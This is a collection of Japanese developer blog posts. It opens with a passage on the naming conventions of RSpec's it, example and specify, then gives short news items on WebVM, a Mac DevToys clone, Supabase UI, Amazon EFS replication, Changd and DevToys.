これはテストコードを英文として読みやすくするためだと思います。
it/example/specifyを英文らしく読めるように使い分けるなら、次のような文例が作れそうです。
it "adds numbers" = それ(it)は数値を加算する
example "addition of numbers" = 「数値の加算」の例(example)
specify "one plus one equals two" = 「1足す1は2であること」を示す(specify)
なので、冒頭で提示したコード例は、次のように書いた方が、技術的な差異は無くとも 英文としては ベターかもしれません。
it 'adds numbers' do expect(1 + 1).to eq 2 end example 'addition of numbers' do expect(1 + 1).to eq 2 end specify 'one plus one equals two' do expect(1 + 1).to eq 2 end
参考情報:RSpecの本にはどのように書いてあるか?
洋書になりますが、「Effective Testing with RSpec 3」という本があります。本の筆者は当時のRSpecのコミッタさん(Myron Marston氏)です。この本の中ではexampleとspecifyの用例として次のようなコードが載っていました。
# Quoted from Effective Testing with RSpec 3 # 「Effective Testing with RSpec 3」から引用 RSpec.describe PhoneNumberParser, 'parses phone numbers' do example 'in xxx-xxx-xxxx form' example 'in (xxx) xxx-xxxx form' end RSpec.describe 'Deprecations' do specify 'MyGem.config is deprecated in favor of MyGem.configure' specify 'MyGem.run is deprecated in favor of MyGem.start' end
たしかにこんなふうになっていると、テストコードを次のように英文っぽく読むことができますね。
example 'in xxx-xxx-xxxx form' = xxx-xxx-xxxx形式の例(example)
specify 'MyGem.config is deprecated in favor of MyGem.configure' = 「"MyGem.config"は非推奨なので、代わりに"MyGem.configure"を使うこと」を示す(specify)
Q. itは英語で書き、exampleは日本語で書く、って習ったんですけど?
これはあまり根拠のない話なので気にしない方がいいと思います。
すでに述べたように、技術的には何の制約も��いので、itとexampleで英語と日本語を使い分けなくてもRSpecは問題なく動きます。
違いがあるとすれば、「英文として見たときの違和感をどれだけ減らせるか」の観点かもしれません。
RSpecのitは主語を表すitなので、英文として考えるならその次に動詞(addsやisなど)が来なければなりません。
しかし、
のようになっていると、"it + 日本語の文章"という意味不明な英文が出来上がってしまいます。
もちろん、この問題はexampleやspecifyを使っても完全には解消されないのですが、itに比べると若干違和感を減らせるような気がしないでしょうか?
# 「数値を加算する」例(example)と読めなくもない example '数値を加算する' do # 「数値を加算する」ことを示す(specify)と読めなくもない specify '数値を加算する' do
「itは英語で書き、exampleは日本語で書く」という話はたぶんこういうところから出てきたんじゃないかな〜と個人的に考えています。
もちろん、チーム内のコーディングルールとして「itは英語で書き、exampleは日本語で書く」というルールを設定するならそれはそれでOKです。ですが、RSpecの決まり事としてはそのようなルールはどこにも存在しません。
仮に「itは英語で書き、exampleは日本語で書く」というルールがあったとて、
は、結局英文としては破綻しているので、それなら
と書いても大差ないし、あまり気にする意味はないと僕は思います。
そもそもの話ですが、RSpecの作者はたぶん「英文としてちゃんと読めるかどうか」ということしか気にしていなくて、日本語で書いたときにどうなるかなんて、ほとんど考えていないんじゃないでしょうか。。。
参考情報:もしかしてここが震源地?
僕が昔Qiitaに書いたRSpecの入門記事にも、it/example/specifyの使い分けについて次のような説明を書きました。
(まあ it '1 + 1 は 2 になること' よりも specify '1 + 1 は 2 になること' や example '1 + 1 は 2 になること' の方が若干自然かもしれませんが・・・)
この記事は多くのRSpec初心者さんに読まれているので、もしかするとこの説明が変に強化されて「itは英語で書き、exampleは日本語で書く」みたいな話になってしまったのでは?という気がしなくもないです😅
おまけ:日本人にも優しい、日本語フレンドリーなRSpecを書いてみよう
先ほど「RSpecの作者はたぶん「英文としてちゃんと読めるかどうか」ということしか気にしていない」と書きましたが、実はdescribeやitを日本語に置き換える方法があります。
以下のコード例を見てください。
RSpec.configure do |config| config.alias_example_group_to :次の仕様を記述する config.alias_example_to :次のような振る舞いを持つこと end 次の仕様を記述する "四則演算" do 次のような振る舞いを持つこと "1足す1は2である" do expect(1 + 1).to eq 2 end end
このコードではexample group(describeやcontext)のエイリアスとして次の仕様を記述するというメソッドを、example(it/example/specify)のエイリアスとして次のような振る舞いを持つことというメソッドをそれぞれ定義しています。
そのため、RSpecのコードを
や、
次のような振る舞いを持つこと "1足す1は2である" do
のように書くことができます。
もちろん、このコードは実際に動かすことも可能です。
$ rspec sample_spec.rb --format documentation 四則演算 1足す1は2である Finished in 0.00121 seconds (files took 0.06884 seconds to load) 1 example, 0 failures
spec_helper.rbの中でエイリアスメソッドを定義すれば、こんなふうに「日本語フレンドリー」なRSpecを書くことも可能です・・・って、こんなことをする人はたぶんいないと思いますがw
まとめ
という��けで、この記事ではRSpecにおけるit/example/specifyの使い分けについてあれこれ語ってみました。
使い分けがわからなくて困っていた人の参考になれば幸いです😄
PR:RailsでRSpecを書きたいなら「Everyday Rails - RSpecによるRailsテスト入門」をどうぞ!
「it/example/specifyの使い分け以前に、Railsでどうやってテストを書いたらいいかわかりません!」というRSpec初心者さんは、「Everyday Rails - RSpecによるRailsテスト入門」をどうぞ。2022年のアップデートでサンプルアプリケーションがRails 7.0にバージョンアップしています。
Rails 7.0対応以外にもさまざまなアップデートがあります。2022年版の詳しいアップデート内容は以下のブログ記事を参照してください。
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WebAssembly製のx86仮想マシン「WebVM」が登場、Webブラウザ上でLinuxや各種コマンド、アプリがそのまま実行可能
from https://www.publickey1.jp/blog/22/webassemblyx86webvmweblinux.html
Leaning Technologiesは、Webブラウザ上でx86バイナリをそのまま実行できるWebAsesmbly製の仮想マシン「WebVM」を発表しました(同社による紹介記事「WebVM: server-less x86 virtual machines in the browser」)。
Google ChromeやMicrosoft Edge、Firefox、Safariなどのモダンブラウザであれば、上記のURLにアクセスすることで誰でもWebブラウザ上にx86仮想マシンを走らせることが出来ます。
WebVMではx86仮想マシンの上でDebian Linuxのバイナリが変更なしに、Webブラウザ上でそのまま稼働し、さまざまなコマンドも実行可能。
LinuxアプリケーションのサンプルとしてNode.jsやPython、Rubyなどの環境も用意されており、実際に動かして試すこともできます。
まさにWebブラウザの上でLinuxマシンが動いている感じです。
Webブラウザ上で既存のソフトウェアを実行
WebVMは同社の製品やサービスというわけではなく、同社が提供している製品群の機能や能力を示すためのデモとして作成され、公開されたものです。
具体的にはWebVMのコアとなっているのが「CheerpX」と呼ばれるWebAssembly製のx86マシンの仮想化技術を備えたソフトウェア製品。
この製品はx86のバイナリコードをWebAssemblyに変換して実行するJIT(Just In Compiler)機能を備えています。これによりWebブラウザ上でx86バイナリの実行可能になります。
さらにサンドボックス化したファイルシステムをWebブラウザ上に提供し、OpenGLはWebGLへ、UDPなどの通信をWebRTCへ変換するなど、さまざまなAPIをWeb標準に変換して実装することも行っていると説明されています。
同社はほかにもC/C++のコードをWebAssemblyにコンパイルする「Cheerpコンパイラ」、JavaのバイトコードをWebブラウザ上で実行できるようにする「CheerpJ」なども提供しており、既存のソフトウェア資産をそのままWebブラウザで実行するためのソリューションを揃えています。
Webブラウザでx86マシンとLinuxがそのまま動いてしまうWebVMの公開は、そうした同社の製品群のデモンストレーションとしてだけでなく、モダンWebブラウザとWebAssemblyの能力と可能性についても多くのITエンジニアにアピールするものになったのではないでしょうか。
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Mac版DevToysがなかったので3日で作って公開した。
from https://qiita.com/ObuchiYuki/items/fa4cdebab2399a24d57d
きっかけ
こちらの記事で紹介されていたDevToysを使ってみたら非常に便利で、これは日常使いしたい!となりました。
しかしなんということでしょう。DevToysはWindowsアプリでありmacでは使えないではないですか!iOS・macアプリ開発者の私としてはmacを捨てるわけにはいかないので、mac版のDevToysを開発しました。
できたもの
というわけで3日ほどでmac版DevToysクローンを作成しました。
以下のReleaseからダウンロードできます。
開発
可能な限り高速で開発をする必要があったため、他のOSSどううまく使うかが勝負です。
アプリ全体
他の開発中のmacアプリからユーティリティ系コードは大部分を流用しました。
これでだいぶ開発が楽になります。
Json <> Yaml
OSSのYamsを用いて実装しています。本家DevToysではなぜか Yaml -> Json, Json -> Yamlの切り替え式だったので両側入力にしてあります。
SwiftのDictionaryを用いている都合上キーの順番が維持されないのでこれは後でなんとかします。
Number Base Converter
特に言うことなし。String.init<T: BinaryInteger>(_ value: T, radix: Int, uppercase: Bool)とInt(_ value: String, radix: Int)便利だねってくらいかな?
HTML Encoder / Decoder
OSSのHTMLEntitiesを使わせてもらっています。
URL・Base64・JWT Encoder / Decoder
これも特にないかな?Foundationの標準機能で実装可能です。
Json Formatter
あまり使われてないライブラリですが、ちょうど良かったのでSwiftJSONFormatterを使用しています。ただいくつかバグがあったのでForkして修正して使っています。
Hash Generator
こっちは超有名ライブラリの CryptoSwift を使っています。CryptoSwiftにはもっと色々なHashが実装されているのでそのうち増やしても良いかもしれません。
UUID・Lorem Ipsum Generator / Text Case Converter
特になし。Foundationの標準機能で実装しています。
Image Optimizer
optipngとjpegoptimのバイナリを実行しています。バイナリ実行のためにApp Sandboxが使えなくなるのでSign周りが面倒でした...
Text Diff・Markdown Preview・Color Blindness Simulator
実装コストの面と必要性の面から実装していません。
要望があれば実装すると思います。
おまけ
本家にない機能を色々追加してみたりしています。
PDF Generator
画像を取り込んでPDF化できます。
Network Information
Local IP・接続情報・Speed Testが行えます。
以上でございます。
ダウンロードしていただければ私が喜びます...!
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TailwindとAntDesignにインスパイアされたオープンソースのUIコンポーネントライブラリ・「Supabase UI」
from http://kachibito.net/useful-resource/supabase
Supabase UI
Supabase UIはTailwindとAntDesignにインスパイアされたオープンソースのUIコンポーネントライブラリです。
名前から想定できる通りFirebaseのオープンソース代替であるSupabaseが公開したUIコンポーネントで、一貫したスタイルを確立し、開発スピードの向上に貢献する事を想定して設計されています。
当然ながら主にSupabaseのために作られたものですが、Supabaseで作られたアプリにも、それ以外のアプリケーションのUI設計にも使える汎用的なライブラリとなっています。
前述通りTailwindに影響を受けているためか、TailwindフレンドリーとなっているそうなのでTailwindを使っている方は触ってみては如何でしょうか。ライセンスはMITとの事です。
Supabase UI
http://kachibito.net/wp-content/uploads/2022/01/supabaseui01.jpg
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Amazon Elastic File Systemがレプリケーション機能を搭載
from https://www.publickey1.jp/blog/22/amazon_elastic_file_system_1.html
Amazon Web Services(AWS)は、NFSサーバのマネージドサービスであるAmazon Elatic File System(Amazon EFS)の新機能としてレプリケーション機能を発表しました。
Amazon EFSは、Amazon EC2などで構築したサーバからNFSでマウントして利用できるサービスです。あらかじめ容量を決めてプロビジョニングする必要がなく、保存するファイルの大きさに対して自動的にキャパシティが増減していくのが大きな特長です。
しかも、数千もの同時接続に対応するスケーラビリティを備えているなど、エンタープライズ向けのストレージとして人気のサービスです。
今回新しくレプリケーション機能が追加されたことで、Amazon EFSに保存されたデータを自動的に別のサーバへコピーし、データを失う可能性を大きく下げることができるようになります。
レプリカは単一のAWSリージョン内または同じAWSパーティション内のリージョンに設定可能。レプリカとなるサーバはリードオンリーになりますが、万が一オリジナルのサーバが失われた場合、自動的にフェイルオーバーが発生し、書き込み可能となります。
その後オリジナルのサーバが復帰すると、フェイルバックが発生し元の状態に戻すことが可能。
Amazon EFSのレプリケーション機能は東京リージョンでも利用可能になっています。
https://www.publickey1.jp/2022/1ESvRmr4.png
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VisualpingやChangeTower等のように任意のWebサイトの更新や変更などを監視できるオープンソースのWebモニタリングツール・「Changd」
from http://kachibito.net/useful-resource/changd
Changd
Changdはコンテンツの更新や変更など、任意のWebサイトを監視できるオープンソースのWebモニタリングツールです。UIにTS、React、AntD、API/バックエンドはJSで書かれておりNode.js上で動作します。
VisualpingやChangeTower、Hexowatchといった各モニタリングツールの代替OSSとして設計されました。
例えばWebサイトでコンテンツが変更された、ショッピングサイトで価格に変更があった、記事の内容が変更された、ウェブサイトが改ざん・ハッキングされた、競合他社サイトの変更監視などなど変更があったときに通知してくれたりスクショを取ってAmazon S3或いはローカルに保存してくれたり、データをグラフ化したりと、監視とその管理を行ってくれます。XPathもサポートされています。
開発理由として、ローカルでホストできて自身で管理できる無料の監視ソリューションが必要だったためだそうでOSSとしても公開してくれました。Webサイトのモニタリングツールは自社サイトのセキュリティだけでなくマーケティングや競合監視など様々な方面でのソリューションに貢献してくれる、地味だけどあると何かと捗るツールなので導入がまだなら検討されてみては如何でしょうか。ライセンスはMITとの事です。
Changd
http://kachibito.net/wp-content/uploads/2022/01/changd01.jpg
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開発者の日々の作業をサポートする様々なミニツールを集約したオープンソースのデスクトップアプリ・「DevToys」
from http://kachibito.net/useful-resource/devtoys
DevToys
DevToysは開発者の日々の作業をサポートする様々なミニツールを集約したオープンソースのデスクトップアプリです。Windowsエコシステムを採用するように設計されており、Windows 10のビルド1903以降で動作するそうで、Windows専用のアプリとなっています。
JSONのフォーマット、テキストdiff、RegExpのテスト、base64のエンコーダー/デコーダー、ハッシュ化ツール、 UUIDジェネレーター、loremipsumツール、Json⇔Yaml変換、カラーシミュレーター、PNGとJPGのコンプレッサー、Markdownプレビュー、HTMLやURLのエンコーダー/デコーダーなどが1つのアプリにまとめられています。
また、クリップボードのデータを扱えるようになっており、作業を円滑に進める事が出来ます。勿論オフラインで動作しますし、OSSなのでアプリを加えたり日本語化も可能です。
開発者にとってのスイス・アーミーナイフとなるアプリとして開発しているそうです。ライセンスはMIT。
DevToys
http://kachibito.net/wp-content/uploads/2022/01/devtoys01.jpg
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一目で世界経済がわかるように各国のGDPを可視化した図2021年版はこんな感じ
from https://gigazine.net/news/20211227-visualizing-world-economy/
国内で財・サービスの生産を通じて一定期間に生み出された付加価値を意味するGDP(国内総生産)は、経済の幅広い指標として機能します。2021年の世界各国のGDPを表した図が国際通貨基金(IMF)のデータから作成され、公開されています。
続きを読む...
https://i.gzn.jp/img/2021/12/24/visualizing-world-economy/00.png
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